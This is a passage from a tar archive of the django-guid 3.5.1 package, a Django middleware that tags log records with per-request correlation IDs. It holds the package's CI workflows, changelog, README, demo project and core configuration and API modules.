pax_global_header00006660000000000000000000000064147514173770014532gustar00rootroot0000000000000052 comment=3cab759a6bd9011c26e377231f48380d1924a98d django-guid-3.5.1/000077500000000000000000000000001475141737700137305ustar00rootroot00000000000000django-guid-3.5.1/.github/000077500000000000000000000000001475141737700152705ustar00rootroot00000000000000django-guid-3.5.1/.github/ISSUE_TEMPLATE/000077500000000000000000000000001475141737700174535ustar00rootroot00000000000000django-guid-3.5.1/.github/ISSUE_TEMPLATE/bug_report.md000066400000000000000000000004301475141737700221420ustar00rootroot00000000000000--- name: Bug report about: Create a report to help us improve title: "[BUG]" labels: bug assignees: '' --- **Describe the bug** A clear and concise description of what the bug is. **To Reproduce** Steps to reproduce the behavior **Full stack trace** Don't leave anything out django-guid-3.5.1/.github/ISSUE_TEMPLATE/feature_request.md000066400000000000000000000001621475141737700231770ustar00rootroot00000000000000--- name: Feature request about: Suggest an idea for this project title: '' labels: suggestion assignees: '' --- django-guid-3.5.1/.github/ISSUE_TEMPLATE/other--questions--remarks---.md000066400000000000000000000001611475141737700251470ustar00rootroot00000000000000--- name: Other (Questions, remarks..) about: Questions, remarks.. title: '' labels: question assignees: '' --- django-guid-3.5.1/.github/workflows/000077500000000000000000000000001475141737700173255ustar00rootroot00000000000000django-guid-3.5.1/.github/workflows/publish_to_pypi.yml000066400000000000000000000010031475141737700232530ustar00rootroot00000000000000name: Publish django-guid to PyPI 📦 on: release: types: [ published ] jobs: build-and-publish: name: Build and publish runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 - uses: actions/setup-python@v4 with: python-version: "3.11" - run: python -m pip install --upgrade pip poetry - name: Build and publish run: | poetry config pypi-token.pypi ${{ secrets.pypi_password }} poetry publish --build --no-interaction django-guid-3.5.1/.github/workflows/test.yml000066400000000000000000000032061475141737700210300ustar00rootroot00000000000000name: test on: pull_request: push: branches: - master jobs: linting: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 - uses: actions/setup-python@v4 with: python-version: "3.11.0" - run: pip install pre-commit - run: pre-commit run --all-files env: SKIP: rst test: runs-on: ubuntu-latest strategy: fail-fast: false matrix: python-version: [ "3.9.18", "3.10.13", "3.11.7", "3.12.1" ] django-version: [ "4.2", "5.0", "5.1" ] exclude: # Django v5 drops Python <3.10 support - django-version: 5.0 python-version: 3.9.18 - django-version: 5.1 python-version: 3.9.18 steps: - uses: actions/checkout@v3 - uses: actions/setup-python@v4 with: python-version: "${{ matrix.python-version }}" - uses: snok/install-poetry@v1 with: virtualenvs-create: false version: 1.2.2 - run: | pip install virtualenv virtualenv .venv source .venv/bin/activate pip install pip setuptools wheel -U poetry install --no-interaction --no-root - run: | source .venv/bin/activate pip install "Django==${{ matrix.django-version }}" - name: Run tests run: | source .venv/bin/activate coverage run -m pytest tests coverage xml coverage report - uses: codecov/codecov-action@v2 with: file: ./coverage.xml fail_ci_if_error: true if: matrix.python-version == '3.11' django-guid-3.5.1/.gitignore000066400000000000000000000002341475141737700157170ustar00rootroot00000000000000*.pyc .idea/* env/ venv/ .venv/ build/ dist/ *.egg-info/ notes .pytest_cache .coverage htmlcov/ # Sphinx documentation docs/_build/ # celery celerybeat-* django-guid-3.5.1/.pre-commit-config.yaml000066400000000000000000000032471475141737700202170ustar00rootroot00000000000000repos: - repo: https://github.com/ambv/black rev: 23.12.1 hooks: - id: black args: ['--quiet'] - repo: https://github.com/pre-commit/pre-commit-hooks rev: v4.5.0 hooks: - id: check-case-conflict - id: end-of-file-fixer - id: trailing-whitespace - id: check-ast - id: check-json - id: check-merge-conflict - id: detect-private-key - id: double-quote-string-fixer - repo: https://github.com/pycqa/flake8 rev: 6.1.0 hooks: - id: flake8 additional_dependencies: [ 'flake8-bugbear', # Looks for likely bugs and design problems 'flake8-comprehensions', # Looks for unnecessary generator functions that can be converted to list comprehensions 'flake8-deprecated', # Looks for method deprecations 'flake8-use-fstring', # Enforces use of f-strings over .format and %s 'flake8-print', # Checks for print statements 'flake8-docstrings', # Verifies that all functions/methods have docstrings 'flake8-type-checking', # Looks for misconfigured type annotations 'flake8-annotations', # Enforces type annotation ] args: ['--enable-extensions=G'] - repo: https://github.com/asottile/pyupgrade rev: v3.15.0 hooks: - id: pyupgrade args: ["--py36-plus"] - repo: https://github.com/pycqa/isort rev: 5.13.2 hooks: - id: isort files: 'django_guid/.*' - id: isort files: 'tests/.*' - repo: https://github.com/pre-commit/mirrors-mypy rev: v1.8.0 hooks: - id: mypy additional_dependencies: [ django ] django-guid-3.5.1/CHANGELOG.rst000066400000000000000000000135301475141737700157530ustar00rootroot00000000000000Changelog ========= `3.2.1`_ - 13.12.2021 --------------------- Changes can be seen here_ going forward. `3.2.0`_ - 04.12.2020 --------------------- **Features** * Added a new setting, ``sentry_integration`` to the Celery integration, which sets ``transaction_id`` for Celery workers. `3.1.0`_ - 18.11.2020 --------------------- **Features** * Added a new setting, ``UUID_LENGTH``, which lets you crop the UUIDs generated for log filters. * Added a new integration for tracing with Celery_. `3.0.1`_ - 12.11.2020 --------------------- **Bugfix** * Importing an integration before a ``SECRET_KEY`` was set would cause a circular import. `3.0.0`_ - 28.10.2020 - Full Django3.1+(ASGI/async) support! ------------------------------------------------------------ Brings full async/ASGI (as well as the old WSGI) support to Django GUID using ContextVars instead of thread locals. **Breaking changes** This version requires ``Django>=3.1.1``. For previous versions of Django, please use ``django-guid<3.0.0`` (Such as ``django-guid==2.2.0``). If you've already implemented ``django-guid`` in your project and are currently upgrading to ``Django>=3.1.1``, please see the `upgrading docs`_. `2.2.0`_ - 04.11.2020 --------------------- **Features** * ``IGNORE_URLS`` setting which disables the middleware on a list of URLs. **Other** * Added docs for the new setting `2.1.0`_ - 03.11.2020 --------------------- **Features** * Integration module, which enables the users of ``django_guid`` to extend functionality. * Added a integration for Sentry, tagging the Sentry issue with the GUID used for the request. **Other** * Added docs for integrations `2.0.0`_ - 02.03.2020 --------------------- **This version contains backwards incompatible changes. Read the entire changelog before upgrading** **Deprecated** * ``SKIP_CLEANUP``: After a request is finished, the Correlation ID is cleaned up using the ``request_finished`` Django signal. **Incompatible changes** * ``django_guid`` must be in ``INSTALLED_APPS`` due to usage of signals. **Improvements** * Restructured README and docs. `1.1.1`_ - 12.02.2020 --------------------- **Improvements** * Fixed ``EXPOSE_HEADER`` documentation issue. New release has to be pushed to fix PyPi docs. `1.1.0`_ - 10.02.2020 --------------------- **Features** * Added a ``EXPOSE_HEADER`` setting, which will add the ``Access-Control-Expose-Headers`` with the ``RETURN_HEADER`` as value to the response. This is to allow the JavaScript Fetch API to access the header with the GUID `1.0.1`_ - 08.02.2020 --------------------- **Bugfix** * Fixed validation of incoming GUID **Improvements** * Changed the ``middleware.py`` logger name to ``django_guid`` * Added a WARNING-logger for when validation fails * Improved README **Other** * Added ``CONTRIBUTORS.rst`` `1.0.0`_ - 14.01.2020 --------------------- **Features** * Added a ``RETURN_HEADER`` setting, which will return the GUID as a header with the same name **Improvements** * Added a Django Rest Framework test and added DRF to the ``demoproj`` * Improved tests to also check for headers in the response * Added tests for the new setting * Added examples to ``README.rst`` and docs, to show how the log messages get formatted * Added an API page to the docs * Fixed the ``readthedocs`` menu bug `0.3.1`_ - 13.01.2020 --------------------- **Improvements** * Changed logging from f'strings' to %strings * Pre-commit hooks added, including ``black`` and ``flake8`` * Added ``CONTRIBUTING.rst`` * Added github actions to push to ``PyPi`` with github tags `0.3.0`_ - 10.01.2020 --------------------- **Features** * Added a SKIP_CLEANUP setting **Improvements** * Improved all tests to be more verbose * Improved the README with more information and a list of all the available settings `0.2.3`_ - 09.01.2020 --------------------- **Improvements** * Added tests written in `pytests`, 100% codecov * Added Django2.2 and Django3 to github workflow as two steps * Improved logging `0.2.2`_ - 21.12.2019 --------------------- **Improvements** * Removed the mandatory DJANGO_GUID settings in settings.py. Added an example project to demonstrate how to set the project up `0.2.1`_ - 21.12.2019 --------------------- **Improvements** * Workflow added, better docstrings, easier to read flow `0.2.0`_ - 21.12.2019 --------------------- **Features** * Header name and header GUID validation can be specified through Django settings 20.10.2019 ---------- * Initial release .. _0.2.0: https://github.com/snok/django-guid/compare/0.1.2...0.2.0 .. _0.2.1: https://github.com/snok/django-guid/compare/0.2.0...0.2.1 .. _0.2.2: https://github.com/snok/django-guid/compare/0.2.1...0.2.2 .. _0.2.3: https://github.com/snok/django-guid/compare/0.2.2...0.2.3 .. _0.3.0: https://github.com/snok/django-guid/compare/0.2.3...0.3.0 .. _0.3.1: https://github.com/snok/django-guid/compare/0.3.0...0.3.1 .. _1.0.0: https://github.com/snok/django-guid/compare/0.3.0...1.0.0 .. _1.0.1: https://github.com/snok/django-guid/compare/1.0.0...1.0.1 .. _1.1.0: https://github.com/snok/django-guid/compare/1.0.1...1.1.0 .. _1.1.1: https://github.com/snok/django-guid/compare/1.1.0...1.1.1 .. _2.0.0: https://github.com/snok/django-guid/compare/1.1.1...2.0.0 .. _2.1.0: https://github.com/snok/django-guid/compare/2.0.0...2.1.0 .. _2.2.0: https://github.com/snok/django-guid/compare/2.1.0...2.2.0 .. _3.0.0: https://github.com/snok/django-guid/compare/2.2.0...3.0.0 .. _upgrading docs: https://django-guid.readthedocs.io/en/latest/upgrading.html .. _3.0.1: https://github.com/snok/django-guid/compare/3.0.0...3.0.1 .. _3.1.0: https://github.com/snok/django-guid/compare/3.0.1...3.1.0 .. _3.2.0: https://github.com/snok/django-guid/compare/3.1.0...3.2.0 .. _3.2.1: https://github.com/snok/django-guid/compare/3.2.0...3.2.1 .. _Celery: https://docs.celeryproject.org/en/stable/ .. _here: https://github.com/snok/django-guid/releases django-guid-3.5.1/LICENSE000066400000000000000000000021231475141737700147330ustar00rootroot00000000000000MIT License Copyright (c) 2023 Jonas Krüger Svensson & Sondre Lillebø Gundersen Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. django-guid-3.5.1/README.rst000066400000000000000000000174721475141737700154320ustar00rootroot00000000000000.. raw:: html

Django GUID

Now with ASGI support!

.. raw:: html

Package version Downloads Django versions ASGI WSGI

Docs Codecov Black Pre-commit

-------------- Django GUID attaches a unique correlation ID/request ID to all your log outputs for every request. In other words, all logs connected to a request now has a unique ID attached to it, making debugging simple. -------------- **Resources**: * Free software: MIT License * Documentation: https://django-guid.readthedocs.io * Homepage: https://github.com/snok/django-guid -------------- **Examples** Log output with a GUID: .. code-block:: flex INFO ... [773fa6885e03493498077a273d1b7f2d] project.views This is a DRF view log, and should have a GUID. WARNING ... [773fa6885e03493498077a273d1b7f2d] project.services.file Some warning in a function INFO ... [0d1c3919e46e4cd2b2f4ac9a187a8ea1] project.views This is a DRF view log, and should have a GUID. INFO ... [99d44111e9174c5a9494275aa7f28858] project.views This is a DRF view log, and should have a GUID. WARNING ... [0d1c3919e46e4cd2b2f4ac9a187a8ea1] project.services.file Some warning in a function WARNING ... [99d44111e9174c5a9494275aa7f28858] project.services.file Some warning in a function Log output without a GUID: .. code-block:: flex INFO ... project.views This is a DRF view log, and should have a GUID. WARNING ... project.services.file Some warning in a function INFO ... project.views This is a DRF view log, and should have a GUID. INFO ... project.views This is a DRF view log, and should have a GUID. WARNING ... project.services.file Some warning in a function WARNING ... project.services.file Some warning in a function See the `documentation `_ for more examples. ************ Installation ************ Install using pip: .. code-block:: bash pip install django-guid ******** Settings ******** Package settings are added in your ``settings.py``: .. code-block:: python DJANGO_GUID = { 'GUID_HEADER_NAME': 'Correlation-ID', 'VALIDATE_GUID': True, 'RETURN_HEADER': True, 'EXPOSE_HEADER': True, 'INTEGRATIONS': [], 'IGNORE_URLS': [], 'UUID_LENGTH': 32, } **Optional Parameters** * :code:`GUID_HEADER_NAME` The name of the GUID to look for in a header in an incoming request. Remember that it's case insensitive. Default: Correlation-ID * :code:`VALIDATE_GUID` Whether the :code:`GUID_HEADER_NAME` should be validated or not. If the GUID sent to through the header is not a valid GUID (:code:`uuid.uuid4`). Default: True * :code:`RETURN_HEADER` Whether to return the GUID (Correlation-ID) as a header in the response or not. It will have the same name as the :code:`GUID_HEADER_NAME` setting. Default: True * :code:`EXPOSE_HEADER` Whether to return :code:`Access-Control-Expose-Headers` for the GUID header if :code:`RETURN_HEADER` is :code:`True`, has no effect if :code:`RETURN_HEADER` is :code:`False`. This is allows the JavaScript Fetch API to access the header when CORS is enabled. Default: True * :code:`INTEGRATIONS` Whether to enable any custom or available integrations with :code:`django_guid`. As an example, using :code:`SentryIntegration()` as an integration would set Sentry's :code:`transaction_id` to match the GUID used by the middleware. Default: [] * :code:`IGNORE_URLS` URL endpoints where the middleware will be disabled. You can put your health check endpoints here. Default: [] * :code:`UUID_LENGTH` Lets you optionally trim the length of the package generated UUIDs. Default: 32 ************* Configuration ************* Once settings have set up, add the following to your projects' ``settings.py``: 1. Installed Apps ================= Add :code:`django_guid` to your :code:`INSTALLED_APPS`: .. code-block:: python INSTALLED_APPS = [ ... 'django_guid', ] 2. Middleware ============= Add the :code:`django_guid.middleware.guid_middleware` to your ``MIDDLEWARE``: .. code-block:: python MIDDLEWARE = [ 'django_guid.middleware.guid_middleware', ... ] It is recommended that you add the middleware at the top, so that the remaining middleware loggers include the requests GUID. 3. Logging Configuration ======================== Add :code:`django_guid.log_filters.CorrelationId` as a filter in your ``LOGGING`` configuration: .. code-block:: python LOGGING = { ... 'filters': { 'correlation_id': { '()': 'django_guid.log_filters.CorrelationId' } } } Put that filter in your handler: .. code-block:: python LOGGING = { ... 'handlers': { 'console': { 'class': 'logging.StreamHandler', 'formatter': 'medium', 'filters': ['correlation_id'], } } } And make sure to add the new ``correlation_id`` filter to one or all of your formatters: .. code-block:: python LOGGING = { ... 'formatters': { 'medium': { 'format': '%(levelname)s %(asctime)s [%(correlation_id)s] %(name)s %(message)s' } } } If these settings were confusing, please have a look in the demo projects' `settings.py `_ file for a complete example. 4. Django GUID Logger (Optional) ================================ If you wish to see the Django GUID middleware outputs, you may configure a logger for the module. Simply add django_guid to your loggers in the project, like in the example below: .. code-block:: python LOGGING = { ... 'loggers': { 'django_guid': { 'handlers': ['console', 'logstash'], 'level': 'WARNING', 'propagate': False, } } } This is especially useful when implementing the package, if you plan to pass existing GUIDs to the middleware, as misconfigured GUIDs will not raise exceptions, but will generate warning logs. django-guid-3.5.1/demoproj/000077500000000000000000000000001475141737700155475ustar00rootroot00000000000000django-guid-3.5.1/demoproj/__init__.py000066400000000000000000000000001475141737700176460ustar00rootroot00000000000000django-guid-3.5.1/demoproj/asgi.py000066400000000000000000000006161475141737700170470ustar00rootroot00000000000000""" ASGI config for demoproj_asgi project. It exposes the ASGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/3.1/howto/deployment/asgi/ """ import os from django.core.asgi import get_asgi_application os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'demoproj.settings') application = get_asgi_application() django-guid-3.5.1/demoproj/celery.py000066400000000000000000000021261475141737700174050ustar00rootroot00000000000000import logging import os from celery import Celery logger = logging.getLogger(__name__) if os.name == 'nt': # Windows configuration to make celery run ok on Windows os.environ.setdefault('FORKED_BY_MULTIPROCESSING', '1') os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'demoproj.settings') app = Celery('django_guid') app.config_from_object('django.conf:settings', namespace='CELERY') app.autodiscover_tasks() @app.task() def debug_task() -> None: """ This is just an example task. """ logger.info('Debug task 1') second_debug_task.delay() second_debug_task.delay() @app.task() def second_debug_task() -> None: """ This is just an example task. """ logger.info('Debug task 2') third_debug_task.delay() fourth_debug_task.delay() @app.task() def third_debug_task() -> None: """ This is just an example task. """ logger.info('Debug task 3') fourth_debug_task.delay() fourth_debug_task.delay() @app.task() def fourth_debug_task() -> None: """ This is just an example task. """ logger.info('Debug task 4') django-guid-3.5.1/demoproj/services/000077500000000000000000000000001475141737700173725ustar00rootroot00000000000000django-guid-3.5.1/demoproj/services/__init__.py000066400000000000000000000000001475141737700214710ustar00rootroot00000000000000django-guid-3.5.1/demoproj/services/async_services.py000066400000000000000000000005151475141737700227650ustar00rootroot00000000000000import asyncio import logging logger = logging.getLogger(__name__) async def useless_function() -> bool: """ Useless function to demonstrate a function log message. :return: True """ logger.info('Going to sleep for a sec') await asyncio.sleep(1) logger.warning('Warning, I am awake!') return True django-guid-3.5.1/demoproj/services/sync_services.py000066400000000000000000000003661475141737700226300ustar00rootroot00000000000000import logging logger = logging.getLogger(__name__) def useless_function() -> bool: """ Useless function to demonstrate a function log message. :return: True """ logger.warning('Some warning in a function') return True django-guid-3.5.1/demoproj/settings.py000066400000000000000000000123631475141737700177660ustar00rootroot00000000000000""" Django settings for demoproj project. Generated by 'django-admin startproject' using Django 3.0.1. For more information on this file, see https://docs.djangoproject.com/en/3.0/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.0/ref/settings/ """ import os from typing import List from celery.schedules import crontab from django_guid.integrations import CeleryIntegration, SentryIntegration BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) SECRET_KEY = 'secret' DEBUG = True ALLOWED_HOSTS: List[str] = [] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'rest_framework', 'django_guid', ] MIDDLEWARE = [ 'django_guid.middleware.guid_middleware', # <-- Add middleware at the top of your middlewares 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'demoproj.urls' DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', # 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), 'NAME': ':memory:', } } LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True STATIC_URL = '/static/' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] # fmt: off # OBS: No setting in Django GUID is required. These are example settings. DJANGO_GUID = { 'GUID_HEADER_NAME': 'Correlation-ID', 'VALIDATE_GUID': True, 'INTEGRATIONS': [ CeleryIntegration( use_django_logging=True, log_parent=True, uuid_length=10 ), SentryIntegration() ], 'IGNORE_URLS': ['no-guid'], } # Set up logging for the project LOGGING = { 'version': 1, 'disable_existing_loggers': False, 'filters': { 'correlation_id': {'()': 'django_guid.log_filters.CorrelationId'}, # <-- Add correlation ID 'celery_tracing': {'()': 'django_guid.integrations.celery.log_filters.CeleryTracing'}, # <-- Add celery IDs }, 'formatters': { # Basic log format without django-guid filters 'basic_format': {'format': '%(levelname)s %(asctime)s %(name)s - %(message)s'}, # Format with correlation ID output to the console 'correlation_id_format': {'format': '%(levelname)s %(asctime)s [%(correlation_id)s] %(name)s - %(message)s'}, # Format with correlation ID plus a celery process' parent ID and a unique current ID that will # become the parent ID of any child processes that are created (most likely you won't want to # display these values in your formatter, but include them just as a filter) 'celery_depth_format': { 'format': '%(levelname)s [%(correlation_id)s] [%(celery_parent_id)s-%(celery_current_id)s] %(name)s - %(message)s' }, }, 'handlers': { 'correlation_id_handler': { 'class': 'logging.StreamHandler', 'formatter': 'correlation_id_format', # Here we include the filters on the handler - this means our IDs are included in the logger extra data # and *can* be displayed in our log message if specified in the formatter - but it will be # included in the logs whether shown in the message or not. 'filters': ['correlation_id', 'celery_tracing'], }, 'celery_depth_handler': { 'class': 'logging.StreamHandler', 'formatter': 'celery_depth_format', 'filters': ['correlation_id', 'celery_tracing'], }, }, 'loggers': { 'django': { 'handlers': ['correlation_id_handler'], 'level': 'INFO' }, 'demoproj': { 'handlers': ['correlation_id_handler'], 'level': 'DEBUG' }, 'django_guid': { 'handlers': ['correlation_id_handler'], 'level': 'DEBUG', 'propagate': True, }, 'django_guid.celery': { 'handlers': ['celery_depth_handler'], 'level': 'DEBUG', 'propagate': False, }, 'celery': { 'handlers': ['celery_depth_handler'], 'level': 'INFO', }, } } # fmt: on CELERY_BROKER_URL = 'redis://:@localhost:6378' CELERY_RESULT_BACKEND = CELERY_BROKER_URL CELERY_BEAT_SCHEDULE = { 'test': { 'task': 'demoproj.celery.debug_task', 'schedule': crontab(minute='*/1'), }, } django-guid-3.5.1/demoproj/urls.py000066400000000000000000000021541475141737700171100ustar00rootroot00000000000000"""demo URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/3.0/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.urls import include, path 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) """ from django.urls import path from demoproj.views.sync_views import index_view, no_guid, rest_view from demoproj.views.async_views import index_view as asgi_index_view from demoproj.views.async_views import django_guid_api_usage urlpatterns = [ path('', index_view, name='index'), path('api', rest_view, name='drf'), path('no-guid', no_guid, name='no_guid'), path('asgi', asgi_index_view, name='asgi_index'), path('api-usage', django_guid_api_usage, name='django_guid_api_usage'), ] django-guid-3.5.1/demoproj/views/000077500000000000000000000000001475141737700167045ustar00rootroot00000000000000django-guid-3.5.1/demoproj/views/__init__.py000066400000000000000000000000001475141737700210030ustar00rootroot00000000000000django-guid-3.5.1/demoproj/views/async_views.py000066400000000000000000000022411475141737700216070ustar00rootroot00000000000000import logging import asyncio from django.http import JsonResponse from demoproj.services.async_services import useless_function from django_guid import get_guid, set_guid, clear_guid from typing import TYPE_CHECKING if TYPE_CHECKING: from django.http import HttpRequest logger = logging.getLogger(__name__) async def index_view(request: 'HttpRequest') -> JsonResponse: """ Example view that logs a log and calls a function that logs a log. :param request: HttpRequest :return: JsonResponse """ logger.info('This log message should have a GUID') task_one = asyncio.create_task(useless_function()) task_two = asyncio.create_task(useless_function()) results = await asyncio.gather(task_one, task_two) return JsonResponse({'detail': f'It worked! Useless function response is {results}'}) async def django_guid_api_usage(request: 'HttpRequest') -> JsonResponse: """ Uses each API function """ logger.info('Current GUID: %s', get_guid()) set_guid('another guid') logger.info('Current GUID: %s', get_guid()) clear_guid() logger.info('Current GUID: %s', get_guid()) return JsonResponse({'detail': ':)'}) django-guid-3.5.1/demoproj/views/sync_views.py000066400000000000000000000030701475141737700214470ustar00rootroot00000000000000import logging from django.http import JsonResponse from rest_framework.decorators import api_view from rest_framework.response import Response from demoproj.services.sync_services import useless_function from typing import TYPE_CHECKING if TYPE_CHECKING: from django.http import HttpRequest from rest_framework.request import Request logger = logging.getLogger(__name__) def index_view(request: 'HttpRequest') -> JsonResponse: """ Example view that logs a log and calls a function that logs a log. :param request: HttpRequest :return: JsonResponse """ logger.info('This log message should have a GUID') useless_response = useless_function() return JsonResponse({'detail': f'It worked! Useless function response is {useless_response}'}) def no_guid(request: 'HttpRequest') -> JsonResponse: """ Example view with a URL in the IGNORE_URLs list - no GUID will be in these logs """ logger.info('This log message should NOT have a GUID - the URL is in IGNORE_URLS') useless_response = useless_function() return JsonResponse({'detail': f'It worked also! Useless function response is {useless_response}'}) @api_view(('GET',)) def rest_view(request: 'Request') -> Response: """ Example DRF view that logs a log and calls a function that logs a log. :param request: Request :return: Response """ logger.info('This is a DRF view log, and should have a GUID.') useless_response = useless_function() return Response(data={'detail': f'It worked! Useless function response is {useless_response}'}) django-guid-3.5.1/demoproj/wsgi.py000066400000000000000000000005301475141737700170700ustar00rootroot00000000000000import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'demoproj.settings') # This application object is used by any WSGI server configured to use this # file. This includes Django's development server, if the WSGI_APPLICATION # setting points here. application = get_wsgi_application() django-guid-3.5.1/django_guid/000077500000000000000000000000001475141737700162025ustar00rootroot00000000000000django-guid-3.5.1/django_guid/__init__.py000066400000000000000000000003721475141737700203150ustar00rootroot00000000000000import django from django_guid.api import clear_guid, get_guid, set_guid # noqa F401 __version__ = '3.5.1' if django.VERSION < (3, 2): default_app_config = 'django_guid.apps.DjangoGuidConfig' __all__ = ['clear_guid', 'get_guid', 'set_guid'] django-guid-3.5.1/django_guid/api.py000066400000000000000000000012621475141737700173260ustar00rootroot00000000000000import logging from django_guid.context import guid logger = logging.getLogger('django_guid') def get_guid() -> str: """ Fetches the GUID of the current request """ return guid.get() def set_guid(new_guid: str) -> str: """ Assigns a GUID to the current request """ old_guid = guid.get() if old_guid: logger.info('Changing the guid ContextVar from %s to %s', old_guid, new_guid) guid.set(new_guid) return new_guid def clear_guid() -> None: """ Clears the GUID of the current request """ old_guid = guid.get() if old_guid: logger.info('Clearing %s from the guid ContextVar', old_guid) guid.set(None) django-guid-3.5.1/django_guid/apps.py000066400000000000000000000005331475141737700175200ustar00rootroot00000000000000from django.apps import AppConfig class DjangoGuidConfig(AppConfig): name = 'django_guid' def ready(self) -> None: """ In order to avoid circular imports we import signals here. """ from django_guid import signals # noqa F401 from django_guid.config import settings settings.validate() django-guid-3.5.1/django_guid/config.py000066400000000000000000000117231475141737700200250ustar00rootroot00000000000000# flake8: noqa: D102 from collections import defaultdict from typing import Dict, List, Union from django.conf import settings as django_settings from django.core.exceptions import ImproperlyConfigured from django.utils.inspect import func_accepts_kwargs from django_guid.integrations.celery.config import CeleryIntegrationSettings class IntegrationSettings: def __init__(self, integration_settings: dict) -> None: self.settings = integration_settings @property def celery(self) -> CeleryIntegrationSettings: return CeleryIntegrationSettings(self.settings['CeleryIntegration']) def validate(self) -> None: if 'CeleryIntegration' in self.settings: self.celery.validate() class Settings: def __init__(self) -> None: if hasattr(django_settings, 'DJANGO_GUID'): self.settings = django_settings.DJANGO_GUID else: self.settings = {} @property def guid_header_name(self) -> str: return self.settings.get('GUID_HEADER_NAME', 'Correlation-ID') @property def return_header(self) -> bool: return self.settings.get('RETURN_HEADER', True) @property def expose_header(self) -> bool: return self.settings.get('EXPOSE_HEADER', True) @property def ignore_urls(self) -> List[str]: return list({url.strip('/') for url in self.settings.get('IGNORE_URLS', [])}) @property def validate_guid(self) -> bool: return self.settings.get('VALIDATE_GUID', True) @property def integrations(self) -> Union[list, tuple]: return self.settings.get('INTEGRATIONS', []) @property def integration_settings(self) -> IntegrationSettings: return IntegrationSettings({integration.identifier: integration for integration in self.integrations}) @property def uuid_length(self) -> int: default_length: Dict[str, int] = defaultdict(lambda: 32, string=36) return self.settings.get('UUID_LENGTH', default_length[self.uuid_format]) @property def uuid_format(self) -> str: return self.settings.get('UUID_FORMAT', 'hex') def validate(self) -> None: if not isinstance(self.validate_guid, bool): raise ImproperlyConfigured('VALIDATE_GUID must be a boolean') if not isinstance(self.guid_header_name, str): raise ImproperlyConfigured('GUID_HEADER_NAME must be a string') # Note: Case insensitive if not isinstance(self.return_header, bool): raise ImproperlyConfigured('RETURN_HEADER must be a boolean') if not isinstance(self.expose_header, bool): raise ImproperlyConfigured('EXPOSE_HEADER must be a boolean') if not isinstance(self.integrations, (list, tuple)): raise ImproperlyConfigured('INTEGRATIONS must be an array') if not isinstance(self.settings.get('IGNORE_URLS', []), (list, tuple)): raise ImproperlyConfigured('IGNORE_URLS must be an array') if not all(isinstance(url, str) for url in self.settings.get('IGNORE_URLS', [])): raise ImproperlyConfigured('IGNORE_URLS must be an array of strings') if type(self.uuid_length) is not int or self.uuid_length < 1: raise ImproperlyConfigured('UUID_LENGTH must be an integer and positive') if self.uuid_format == 'string' and not 1 <= self.uuid_length <= 36: raise ImproperlyConfigured('UUID_LENGTH must be between 1-36 when UUID_FORMAT is string') if self.uuid_format == 'hex' and not 1 <= self.uuid_length <= 32: raise ImproperlyConfigured('UUID_LENGTH must be between 1-32 when UUID_FORMAT is hex') if self.uuid_format not in ('hex', 'string'): raise ImproperlyConfigured('UUID_FORMAT must be either hex or string') self._validate_and_setup_integrations() def _validate_and_setup_integrations(self) -> None: """ Validate the INTEGRATIONS settings and verify each integration """ self.integration_settings.validate() for integration in self.integrations: # Make sure all integration methods are callable for method, name in [ (integration.setup, 'setup'), (integration.run, 'run'), (integration.cleanup, 'cleanup'), ]: # Make sure the methods are callable if not callable(method): raise ImproperlyConfigured( f'Integration method `{name}` needs to be made callable for `{integration.identifier}`' ) # Make sure the method takes kwargs if name in ['run', 'cleanup'] and not func_accepts_kwargs(method): raise ImproperlyConfigured( f'Integration method `{name}` must ' f'accept keyword arguments (**kwargs) for `{integration.identifier}`' ) # Run validate method integration.setup() settings = Settings() django-guid-3.5.1/django_guid/context.py000066400000000000000000000001301475141737700202320ustar00rootroot00000000000000from contextvars import ContextVar guid: ContextVar = ContextVar('guid', 